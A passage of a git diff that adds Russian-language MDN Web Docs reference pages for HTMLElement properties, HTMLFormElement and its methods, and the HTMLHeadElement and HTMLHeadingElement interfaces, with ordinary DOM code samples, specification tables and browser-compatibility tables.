var d = document.getElementById("div1");
+var topPos = d.offsetTop;
+
+if (topPos > 10) {
+  // объект имеет отступ больше
+  // чем 10 пикселей относительно своего родителя
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарии
{{SpecName('CSSOM View', '#dom-htmlelement-offsettop', 'offsetTop')}}{{Spec2('CSSOM View')}}
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.HTMLElement.offsetTop")}}

diff --git a/files/ru/web/api/htmlelement/offsetwidth/index.html b/files/ru/web/api/htmlelement/offsetwidth/index.html new file mode 100644 index 0000000000..d39fed6fb1 --- /dev/null +++ b/files/ru/web/api/htmlelement/offsetwidth/index.html @@ -0,0 +1,65 @@ +--- +title: HTMLElement.offsetWidth +slug: Web/API/HTMLElement/offsetWidth +translation_of: Web/API/HTMLElement/offsetWidth +--- +
{{ APIRef("HTML DOM") }}
+ +

Свойство HTMLElement.offsetWidth возвращает ширину элемента. Как правило, offsetWidth — это значение, включающее горизонтальный отступ элемента, ширину вертикального скроллбара (если он есть) и CSS ширину.

+ +

Синтаксис

+ +
var offsetWidth = element.offsetWidth;
+
+ +

offsetWidth — свойство только для чтения

+ +
+

Это свойство возвращает целочисленное значение. Если вам требуется дробное значение, используйте {{ domxref("element.getBoundingClientRect()") }}.

+
+ +

 

+ +

Пример

+ +

 

+ +

             Image:Dimensions-offset.png

+ + +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSSOM View', '#dom-htmlelement-offsetwidth', 'offsetWidth')}}{{Spec2('CSSOM View')}} 
+ +

Примечание

+ +

offsetWidth — свойство объектной модели DHTML, которое впервые было представлено в браузере MSIE. Его иногда называют физической/графической шириной или шириной блока элемента.

+ +

Совместимость с браузерами

+ +

{{Compat("api.HTMLElement.offsetWidth")}}

+ +

Смотрите также

+ + + +
 
diff --git a/files/ru/web/api/htmlelement/outertext/index.html b/files/ru/web/api/htmlelement/outertext/index.html new file mode 100644 index 0000000000..27e46a5f77 --- /dev/null +++ b/files/ru/web/api/htmlelement/outertext/index.html @@ -0,0 +1,29 @@ +--- +title: HTMLElement.outerText +slug: Web/API/HTMLElement/outerText +translation_of: Web/API/HTMLElement/outerText +--- +
{{APIRef("DOM")}} {{ Non-standard_header() }}
+ +

HTMLElement.outerText - нестандартное свойство. В качестве геттера возвращает то же значение, что и {{domxref("Node.innerText")}}. В качестве сеттера удаляет текущий элемент и вставляет вместо него указанный текст.

+ +

Пример

+ +

См. ответ на StackOverflow.

+ +

Спецификация

+ +

Не является частью какой-либо спецификации. Обсуждение стандарта: whatwg/html#668.

+ +

Совместимость с браузерами

+ + + +

{{Compat("api.HTMLElement.outerText")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlelement/pointerover_event/index.html b/files/ru/web/api/htmlelement/pointerover_event/index.html new file mode 100644 index 0000000000..300dbfe89c --- /dev/null +++ b/files/ru/web/api/htmlelement/pointerover_event/index.html @@ -0,0 +1,84 @@ +--- +title: 'HTMLElement: pointerover event' +slug: Web/API/HTMLElement/pointerover_event +translation_of: Web/API/HTMLElement/pointerover_event +--- +
{{APIRef}}
+ +

Событие pointerover когда указатель входит в границы элемента слушаюшего события.

+ + + + + + + + + + + + + + + + + + + + +
BubblesYes
CancelableYes
Interface{{domxref("PointerEvent")}}
Event handler propertyonpointerover
+ +

Примеры

+ +

С ипользованием addEventListener():

+ +
const para = document.querySelector('p');
+
+para.addEventListener('pointerover', (event) => {
+  console.log('Pointer moved in');
+});
+ +

С использованием свойство элемента onpointerover :

+ +
const para = document.querySelector('p');
+
+para.onpointerover = (event) => {
+  console.log('Pointer moved in');
+};
+ +

Спецификации

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Pointer Events', '#the-pointerover-event')}}{{Spec2('Pointer Events')}}
+ +

Браузерная совместимость

+ + + +

{{Compat("api.HTMLElement.pointerover_event")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlelement/style/index.html b/files/ru/web/api/htmlelement/style/index.html new file mode 100644 index 0000000000..683bfa1101 --- /dev/null +++ b/files/ru/web/api/htmlelement/style/index.html @@ -0,0 +1,78 @@ +--- +title: HTMLElement.style +slug: Web/API/HTMLElement/style +tags: + - API + - HTML DOM + - HTMLElement + - NeedsBrowserAgnosticism + - NeedsBrowserCompatibility + - NeedsMarkupWork + - NeedsSpecTable + - Свойство + - Ссылки +translation_of: Web/API/ElementCSSInlineStyle/style +--- +

Кратко

+ +
+
{{ APIRef("HTML DOM") }}
+
+ +

Свойство HTMLElement.style используется для получения и установки инлайновых стилей. При получении возвращается объект CSSStyleDeclaration , который содержит список из всех свойств стилей для этого элемента с значениями заданными  для атрибутов , что определенны  в инлайновом стиле (см. атрибут стиля) элемента. См. CSS Properties Reference для получения списка CSS свойств применимых вместе со style.  

+ +

Настройка стилей

+ +

Свойство style имеет тот же приоритет (и выше) в каскаде CSS как и прямая декларация стиля через атрибут style, полезен для настройки стиля отдельного специфичного элемента.

+ +

Стили не следует устанавливать непосредственно через свойство style (например elt.style = "color: blue;"), поскольку оно считается доступным только для чтения и атрибут style возвращает объект CSSStyleDeclaration который доступен только для чтения. Вместо этого стили могут быть установлены путем присвоения значений свойствам style. Для добавления определенных стилей для элемента без изменения других свойств стилей предпочтительно использовать отдельные свойства style (например elt.style.color = '...'). +При использовании
elt.style.cssText = '...' или elt.setAttribute('style','...') устанавливаются стили перезаписывая уже существующие. Обратите внимание, что имена свойств стилей задаются в camel-case а не в kebab-case elt.style.<property> (т.е., elt.style.fontSize, а не elt.style.font-size).

+ +

Объявленные стили сбрасываются присваиванием значения null,
elt.style.color = null

+ +

Примеры

+ +
// Устанавливает несколько стилей в одном выражении
+elt.style.cssText = "color: blue; border: 1px solid black";
+// Или
+elt.setAttribute("style", "color:red; border: 1px solid blue;");
+
+// Устанавливает определенный стиль оставляя другие значения стиля нетронутыми
+elt.style.color = "blue";
+ +

Получение стиль-информации

+ +

Свойство style в основном не имеет пользы в части информации о стиле элемента, оно только олицетворяет собой набор CSS деклараций атрибутов style элемента, а не тех которые проистекают из стиль-правил откуда-либо ещё, таких как стилевые правила раздела {{HTMLElement("head")}}, или внешней таблицы стилей. Для получения значений всех CSS свойств элемента вы должны использовать вместо этого {{domxref("window.getComputedStyle()")}}.

+ +
+
var div = document.getElementById("div1");
+div.style.marginTop = ".25in";
+
+ +

Следующий код показывает имена всех свойств стиля, значений, заданных явно для элемента elt и унаследованных "расчитанных" значений:

+ +
var elt = document.getElementById("elementIdHere");
+var out = "";
+var st = elt.style;
+var cs = window.getComputedStyle(elt, null);
+for (x in st) {
+  out += "  " + x + " = '" + st[x] + "' > '" + cs[x] + "'\n";
+}
+ +

Спецификация

+ +

DOM Level 2 Style: ElementCSSInlineStyle.style

+ +

CSSOM: ElementCSSInlineStyle

+ +

Совместимость

+ + + +

{{Compat("api.HTMLElement.style")}}

+ +

См. также

+ + diff --git a/files/ru/web/api/htmlelement/tabindex/index.html b/files/ru/web/api/htmlelement/tabindex/index.html new file mode 100644 index 0000000000..fe41116fe4 --- /dev/null +++ b/files/ru/web/api/htmlelement/tabindex/index.html @@ -0,0 +1,134 @@ +--- +title: HTMLElement.tabIndex +slug: Web/API/HTMLElement/tabIndex +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

Свойство HTMLElement.tabIndex предоставляет возможность вызова по кнопке Tab текущего элемента.

+ +
+
Вызов по табуляции происходит в следующем порядке:
+ +
    +
  1. элементы с положительным tabIndex. Элементы, имеющие одинаковое значение tabIndex вызываются в порядке появления в коде.  Переход осуществляется от меньших tabIndex до больших tabIndex. 
    2. +
  2. Элементы, которые не поддерживают атрибут tabIndex или поддерживают но tabIndex установлен в "0", выбираются по Tab в порядке их появления в коде.
    3. +
+ +
Элементы для которых установлена блокировка (disabled) не могут быть выбраны кнопкой Tab и не могут быть в фокусе.
+ +
 
+ +
Значения могут начинаться с любого числа, могут быть отрицательными и могут быть непоследовательными, однако разные браузеры можгут неправильно сработать при очень больших значениях.
+ +
 
+
+ +

Синтаксис

+ +
elt.tabIndex = index;
+var index = elt.tabIndex;
+
+ + + +

Пример

+ +
var b1 = document.getElementById("button1");
+
+b1.tabIndex = 1;
+
+ +

Спецификация

+ +

 

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКоментарии
{{SpecName('HTML WHATWG', '#dom-tabindex', 'tabindex')}}{{Spec2('HTML WHATWG')}}Не было изменений с {{SpecName('DOM2 HTML')}}.
{{SpecName('DOM2 HTML', 'html.html#ID-40676705', 'tabindex')}}{{Spec2('DOM2 HTML')}}Не было изменений с {{SpecName('DOM1')}}.
{{SpecName('DOM1', 'level-one-html.html#ID-40676705', 'tabindex')}}{{Spec2('DOM1')}}Начальное определение
+ +

Поддержка в браузерах

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlformelement/elements/index.html b/files/ru/web/api/htmlformelement/elements/index.html new file mode 100644 index 0000000000..dbd4e1ddcd --- /dev/null +++ b/files/ru/web/api/htmlformelement/elements/index.html @@ -0,0 +1,100 @@ +--- +title: HTMLFormElement.elements +slug: Web/API/HTMLFormElement/elements +translation_of: Web/API/HTMLFormElement/elements +--- +
{{APIRef("HTML DOM")}}
+ +

The {{domxref("HTMLFormElement")}} property elements returns an {{domxref("HTMLFormControlsCollection")}} listing all the form controls contained in the {{HTMLElement("form")}} element. Independently, you can obtain just the number of form controls using the {{domxref("HTMLFormElement.length", "length")}} property.

+ +

You can access a particular form control in the returned collection by using either an index or the element's {{domxref("Element.name", "name")}} or {{domxref("Element.id", "id")}}.

+ +

Prior to HTML 5, the returned object was an {{domxref("HTMLCollection")}}, on which HTMLFormControlsCollection is based.

+ +
+

Note: Similarly, you can get a list of all of the forms contained within a given document using the document's {{domxref("Document.forms", "forms")}} property.

+
+ +

Syntax

+ +
nodeList = HTMLFormElement.elements
+
+ +

Value

+ +

An {{domxref("HTMLFormControlsCollection")}} containing all non-image controls in the form. This is a live collection; if form controls are added to or removed from the form, this collection will update to reflect the change.

+ +

The form controls in the returned collection are in the same order in which they appear in the form by following a preorder, depth-first traversal of the tree. This is called tree order.

+ +

{{page("/en-US/docs/Web/API/HTMLFormElement", "Elements that are considered form controls")}}

+ +

Example

+ +

Quick syntax example

+ +

In this example, we see how to obtain the list of form controls as well as how to access its members by index and by name or ID.

+ +
<form id="my-form">
+  <input type="text" name="username">
+  <input type="text" name="full-name">
+  <input type="password" name="password">
+</form>
+ +
var inputs = document.getElementById("my-form").elements;
+var inputByIndex = inputs[0];
+var inputByName = inputs["username"];
+
+ +

Accessing form controls

+ +

This example gets the form's element list, then iterates over the list, looking for {{HTMLElement("input")}} elements of type "text" so that some form of processing can be performed on them.

+ +
var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i < inputs.length; i++) {
+  if (inputs[i].nodeName === "INPUT" && inputs[i].type === "text") {
+    // Update text input
+    inputs[i].value.toLocaleUpperCase();
+  }
+}
+
+ +

Disabling form controls

+ +
var inputs = document.getElementById("my-form").elements;
+
+// Iterate over the form controls
+for (i = 0; i < inputs.length; i++) {
+  // Disable all form controls
+  inputs[i].setAttribute("disabled", "");
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-form-elements', 'HTMLFormElement.elements')}}{{ Spec2('HTML WHATWG') }}
{{SpecName("DOM2 HTML", "html.html#ID-76728479", "HTMLFormElement.elements")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLFormElement.elements")}}

diff --git a/files/ru/web/api/htmlformelement/index.html b/files/ru/web/api/htmlformelement/index.html new file mode 100644 index 0000000000..6e83b5de3a --- /dev/null +++ b/files/ru/web/api/htmlformelement/index.html @@ -0,0 +1,273 @@ +--- +title: HTMLFormElement +slug: Web/API/HTMLFormElement +tags: + - API + - HTML DOM + - Interface + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLFormElement +--- +
{{APIRef("HTML DOM")}}
+ +

The HTMLFormElement interface provides methods to create and modify {{HTMLElement("form")}} elements; it inherits from properties and methods of the {{domxref("HTMLElement")}} interface.

+ +

Properties

+ +

Inherits properties from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.acceptCharset")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("accept-charset", "form") }} HTML attribute, containing a list of character encodings that the server accepts.
+
{{domxref("HTMLFormElement.action")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("action", "form") }} HTML attribute, containing the URI of a program that processes the information submitted by the form.
+
{{domxref("HTMLFormElement.autocomplete")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("autocomplete", "form") }} HTML attribute, containing a string that indicates whether the controls in this form can have their values automatically populated by the browser.
+
{{domxref("HTMLFormElement.elements")}} {{readonlyinline}}
+
Returns a live {{domxref("HTMLFormControlsCollection")}} containing all the form controls belonging to this form element.
+
{{domxref("HTMLFormElement.encoding")}}
+
Is a synonym for enctype.
+
{{domxref("HTMLFormElement.enctype")}}
+
Is a {{domxref("DOMString")}} reflects the {{ htmlattrxref("enctype", "form") }} HTML attribute, indicating the type of content that is used to transmit the form to the server. Only specified values can be set.
+
{{domxref("HTMLFormElement.length")}} {{readonlyinline}}
+
Returns a long that represents the number of controls in the form.
+
{{domxref("HTMLFormElement.method")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("method", "form") }} HTML attribute, indicating the HTTP method used to submit the form. Only specified values can be set.
+
{{domxref("HTMLFormElement.name")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("name", "form") }} HTML attribute, containing the name of the form.
+
{{domxref("HTMLFormElement.noValidate")}}
+
Is a {{jsxref("Boolean")}} that reflects the {{ htmlattrxref("novalidate", "form") }} HTML attribute, indicating that the form should not be validated.
+
{{domxref("HTMLFormElement.target")}}
+
Is a {{domxref("DOMString")}} that reflects the {{ htmlattrxref("target", "form") }} HTML attribute, indicating where to display the results received from submitting the form.
+
+ +

Methods

+ +

Inherits methods from its parent, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLFormElement.checkValidity()")}}
+
Returns a {{jsxref("Boolean")}} that is true if the element's child controls are subject to constraint validation and satify those contraints, or false if some controls do not satisfy their constraints. Fires an event named {{event("invalid")}} at any control that does not satisfy its constraints; such controls are considered invalid if the event is not canceled. It is up to the programmer to decide how to respond to false.
+
{{domxref("HTMLFormElement.item()")}}
+
Gets the item in the elements collection at the specified index, or null if there is no item at that index. You can also specify the index in array-style brackets or parentheses after the form object name, without calling this method explicitly.
+
{{domxref("HTMLFormElement.namedItem()")}}
+
Gets the item or list of items in elements collection whose name or id match the specified name, or null if no items match. You can also specify the name in array-style brackets or parentheses after the form object name, without calling this method explicitly.
+
{{domxref("HTMLFormElement.submit()")}}
+
Submits the form to the server.
+
{{domxref("HTMLFormElement.reset()")}}
+
Resets the forms to its initial state.
+
+ +
+
{{domxref("HTMLFormElement.reportValidity()")}}
+
Returns true if the element's child controls satisfy their validation constraints. When false is returned, cancelable invalid events are fired for each invalid child and validation problems are reported to the user.
+
+ +

Examples

+ +

The following example shows how to create a new form element, modify its attributes and submit it.

+ +
// Create a form
+var f = document.createElement("form");
+
+// Add it to the document body
+document.body.appendChild(f);
+
+// Add action and method attributes
+f.action = "/cgi-bin/some.cgi";
+f.method = "POST"
+
+// Call the form's submit method
+f.submit();
+
+ +

In addition, the following complete HTML document shows how to extract information from a form element and to set some of its attributes.

+ +
<title>Form example</title>
+<script type="text/javascript">
+  function getFormInfo() {
+    var info;
+
+    // Get a reference using the forms collection
+    var f = document.forms["formA"];
+    info = "f.elements: " + f.elements + "\n"
+         + "f.length: " + f.length + "\n"
+         + "f.name: " + f.name + "\n"
+         + "f.acceptCharset: " + f.acceptCharset + "\n"
+         + "f.action: " + f.action + "\n"
+         + "f.enctype: " + f.enctype + "\n"
+         + "f.encoding: " + f.encoding + "\n"
+         + "f.method: " + f.method + "\n"
+         + "f.target: " + f.target;
+    document.forms["formA"].elements['tex'].value = info;
+  }
+
+  // A reference to the form is passed from the
+  // button's onclick attribute using 'this.form'
+  function setFormInfo(f) {
+    f.method = "GET";
+    f.action = "/cgi-bin/evil_executable.cgi";
+    f.name   = "totally_new";
+  }
+</script>
+
+<h1>Form  example</h1>
+
+<form name="formA" id="formA"
+ action="/cgi-bin/test" method="POST">
+ <p>Click "Info" to see information about the form.
+    Click set to change settings, then info again
+    to see their effect</p>
+ <p>
+  <input type="button" value="info"
+   onclick="getFormInfo();">
+  <input type="button" value="set"
+   onclick="setFormInfo(this.form);">
+  <input type="reset" value="reset">
+  <br>
+  <textarea id="tex" style="height:15em; width:20em">
+  </textarea>
+ </p>
+</form>
+
+ +

The following example shows how to submit a form in a popup window.

+ +
<!doctype html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<title>MDN Example</title>
+<script type="text/javascript">
+function popupSend (oFormElement) {
+  if (oFormElement.method && oFormElement.method.toLowerCase() !== "get") {
+    alert("This script supports the GET method only.");
+    return;
+  }
+  var oField, sFieldType, nFile, sSearch = "";
+  for (var nItem = 0; nItem < oFormElement.elements.length; nItem++) {
+    oField = oFormElement.elements[nItem];
+    if (!oField.hasAttribute("name")) { continue; }
+    sFieldType = oField.nodeName.toUpperCase() === "INPUT" ? oField.getAttribute("type").toUpperCase() : "TEXT";
+    if (sFieldType === "FILE") {
+      for (nFile = 0; nFile < oField.files.length; sSearch += "&" + escape(oField.name) + "=" + escape(oField.files[nFile++].name));
+    } else if ((sFieldType !== "RADIO" && sFieldType !== "CHECKBOX") || oField.checked) {
+      sSearch += "&" + escape(oField.name) + "=" + escape(oField.value);
+    }
+  }
+  open(oFormElement.action.replace(/(?:\?.*)?$/, sSearch.replace(/^&/, "?")), "submit-" + (oFormElement.name || Math.floor(Math.random() * 1e6)), "resizable=yes,scrollbars=yes,status=yes");
+}
+</script>
+
+</head>
+
+<body>
+
+<form name="yourForm" action="test.php" method="get" onsubmit="popupSend(this); return false;">
+  <p>First name: <input type="text" name="firstname" /><br />
+  Last name: <input type="text" name="lastname" /><br />
+  Password: <input type="password" name="pwd" /><br />
+  <input type="radio" name="sex" value="male" /> Male <input type="radio" name="sex" value="female" /> Female</p>
+  <p><input type="checkbox" name="vehicle" value="Bike" />I have a bike<br />
+  <input type="checkbox" name="vehicle" value="Car" />I have a car</p>
+  <p><input type="submit" value="Submit" /></p>
+</form>
+
+</body>
+</html>
+ +

Submitting forms and uploading files using XMLHttpRequest

+ +

If you want to know how to serialize and submit a form using the XMLHttpRequest API, please read this paragraph.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "forms.html#the-form-element", "HTMLFormElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}
{{SpecName('HTML5 W3C', "forms.html#the-form-element", "HTMLFormElement")}}{{Spec2('HTML5 W3C')}}The elements properties returns an {{domxref("HTMLFormControlsCollection")}} instead of a raw {{domxref("HTMLCollection")}}. This is mainly a technical change.
+ The following method has been added: checkValidity().
+ The following properties have been added: autocomplete, noValidate, and encoding.
{{SpecName('DOM2 HTML', 'html.html#ID-40002357', 'HTMLFormElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-40002357', 'HTMLFormElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/ru/web/api/htmlformelement/length/index.html b/files/ru/web/api/htmlformelement/length/index.html new file mode 100644 index 0000000000..1c22fb4328 --- /dev/null +++ b/files/ru/web/api/htmlformelement/length/index.html @@ -0,0 +1,37 @@ +--- +title: HTMLFormElement.length +slug: Web/API/HTMLFormElement/length +translation_of: Web/API/HTMLFormElement/length +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

HTMLFormElement.length  - свойство только для чтения, которое возвращает количество элементов управления в элементе {{HTMLElement("form")}}. Вы можете получить доступ к списку элементов управления формы с помощью свойства {{domxref("HTMLFormElement.elements", "elements")}}.

+ +

Это свойство учитывает элементы, которые являются потомками элемента <form>, а также элементы, которые были определены как члены этой формы с помощью их свойства form.

+ +

{{page("/en-US/docs/Web/API/HTMLFormElement", "Элементы, которые считаются управляющими элементами форм")}}

+ +

Синтаксис

+ +
numControls = form.length;
+
+ +

Значение

+ +

Количество управляющих элементов внутри формы <form>. Это то же число, что и число элементов в {{domxref("HTMLFormControlsCollection")}}, возвращаемой свойством {{domxref("HTMLFormElement.elements", "elements")}}.

+ +

Пример

+ +
if (document.getElementById("form1").length > 1) {
+  // в форме больше одного управляющего элемента
+}
+
+ +

Спецификации

+ + diff --git a/files/ru/web/api/htmlformelement/reportvalidity/index.html b/files/ru/web/api/htmlformelement/reportvalidity/index.html new file mode 100644 index 0000000000..bc4028946c --- /dev/null +++ b/files/ru/web/api/htmlformelement/reportvalidity/index.html @@ -0,0 +1,79 @@ +--- +title: HTMLFormElement.reportValidity() +slug: Web/API/HTMLFormElement/reportValidity +translation_of: Web/API/HTMLFormElement/reportValidity +--- +
{{ APIRef("HTML DOM") }}
+ +

Метод HTMLFormElement.reportValidity() возвращает true если все дочерние элементы прошли проверку. Когда возвращается false, по каждому дочернему элементу не прошедшему проверку генерируется событие invalid и пользователю сообщаются проблемы проверки.

+ +

Синтаксис

+ +
HTMLFormElement.reportValidity()
+
+ +

Пример

+ +
document.forms["myform"].addEventListener('invalid', function() {
+  //Опциональный ответ здесь.
+}, false);
+
+document.forms["myform"].addEventListener('submit', function() {
+  document.forms["myform"].reportValidity();
+}, false);
+ +

Спецификация

+ +

HTML 5.1 Forms: The Constraint Validation API

+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable }}

+ +
+ + + + + + + + + + + + + + + + + + + +
ВозможностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{ CompatChrome(40.0) }}{{ CompatNo }}{{ CompatNo }}{{ CompatVersionUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ВозможностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{ CompatUnknown() }}{{ CompatChrome(40.0) }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/api/htmlformelement/reset/index.html b/files/ru/web/api/htmlformelement/reset/index.html new file mode 100644 index 0000000000..1d2c858788 --- /dev/null +++ b/files/ru/web/api/htmlformelement/reset/index.html @@ -0,0 +1,24 @@ +--- +title: HTMLFormElement.reset() +slug: Web/API/HTMLFormElement/reset +translation_of: Web/API/HTMLFormElement/reset +--- +
{{ APIRef("HTML DOM") }}
+ +

Метод HTMLFormElement.reset() восстанавливает стандартные значения всем элементам формы. Данный метод выполняет действие идентичное нажатию кнопки имеющей тип reset.

+ +

Если элемент управления формы (такой как кнопка типа reset) имеет имя или идентификатор reset, это маскирует метод HTMLFormElement.reset(). Это не сбрасывает другие атрибуты, такие как disabled.

+ +

Синтаксис

+ +
HTMLFormElement.reset()
+
+ +

Пример

+ +
document.getElementById('myform').reset();
+
+ +

Спецификация

+ +

HTML 5.1 Nightly: Resetting a form

diff --git a/files/ru/web/api/htmlformelement/submit/index.html b/files/ru/web/api/htmlformelement/submit/index.html new file mode 100644 index 0000000000..4df609cd44 --- /dev/null +++ b/files/ru/web/api/htmlformelement/submit/index.html @@ -0,0 +1,56 @@ +--- +title: HTMLFormElement.submit() +slug: Web/API/HTMLFormElement/submit +tags: + - HTMLFormElement +translation_of: Web/API/HTMLFormElement/submit +--- +
{{APIRef("HTML DOM")}}
+ +

Метод HTMLFormElement.submit() позволяет отправить форму {{HtmlElement("form")}}.

+ +

Этот метод похож, но не идентичен кнопке {{HtmlElement("button")}}. , который активирует отправку формы.   Однако при непосредственном вызове этого метода:

+ + + +

Метод {{domxref("HTMLFormElement.requestSubmit()")}} идентичен кнопке {{HtmlElement("button")}} , которая активирует отправку формы и не имеет различий, указанных выше.

+ +

Если элемент управления формы (например, кнопка отправки) имеет name или id кнопки submit, тогда этот метод будет маскировать метод submit формы..

+ +

Syntax

+ +
HTMLFormElement.submit()
+
+ +

Example

+ +
document.forms["myform"].submit();
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-form-submit', 'HTMLFormElement: submit')}}{{Spec2('HTML WHATWG')}}
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLFormElement.submit")}}

diff --git a/files/ru/web/api/htmlheadelement/index.html b/files/ru/web/api/htmlheadelement/index.html new file mode 100644 index 0000000000..1dfb63025d --- /dev/null +++ b/files/ru/web/api/htmlheadelement/index.html @@ -0,0 +1,132 @@ +--- +title: HTMLHeadElement +slug: Web/API/HTMLHeadElement +translation_of: Web/API/HTMLHeadElement +--- +
{{APIRef("HTML DOM")}}
+ +

Интерфейс HTMLHeadElement содержит описательную информацию, или метаданные, для документа. Этот объект наследует все свойства и методыописанные в {{domxref("HTMLElement")}} интерфейсе.

+ +

Свойства

+ +

Наследует свойства от родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLHeadElement.profile")}} {{obsolete_inline}}
+
Это {{domxref("DOMString")}} представляющая URI одного или более профилей методанных (через запятую).
+
+ +

Методы

+ +

Не имеет специфичных методов; наследует методы от родителя, {{domxref("HTMLElement")}}.

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', "semantics.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML WHATWG')}}Не изменилась с последнего снимка, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', "document-metadata.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML5.1')}}Не изменилось с {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', "document-metadata.html#the-head-element", "HTMLHeadElement")}}{{Spec2('HTML5 W3C')}}Следующее свойство было удалено: profile.
{{SpecName('DOM2 HTML', 'html.html#ID-77253168', 'HTMLHeadElement')}}{{Spec2('DOM2 HTML')}}Не изменилось с {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-77253168', 'HTMLHeadElement')}}{{Spec2('DOM1')}}Изначальное описание.
+ +

Совместимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
свойствоChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoDesktop(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
profile{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} 7.0		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
СвойствоAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Базовая поддержка{{CompatVersionUnknown}}{{CompatGeckoMobile(1.0)}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
profile{{CompatNo}}{{CompatVersionUnknown}}
+ {{CompatNo}} 7.0		{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/htmlheadingelement/index.html b/files/ru/web/api/htmlheadingelement/index.html new file mode 100644 index 0000000000..e031fba028 --- /dev/null +++ b/files/ru/web/api/htmlheadingelement/index.html @@ -0,0 +1,69 @@ +--- +title: HTMLHeadingElement +slug: Web/API/HTMLHeadingElement +translation_of: Web/API/HTMLHeadingElement +--- +
+
{{ APIRef("HTML DOM") }}
+
+ +

HTMLHeadingElement интерфейс представляет различные элементы заголовков. Наследует методы и свойства из {{domxref("HTMLElement")}}.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

Свойства

+ +

Наследует свойства родителя, {{domxref("HTMLElement")}}.

+ +
+
{{domxref("HTMLHeadingElement.align")}} {{obsolete_inline}}
+
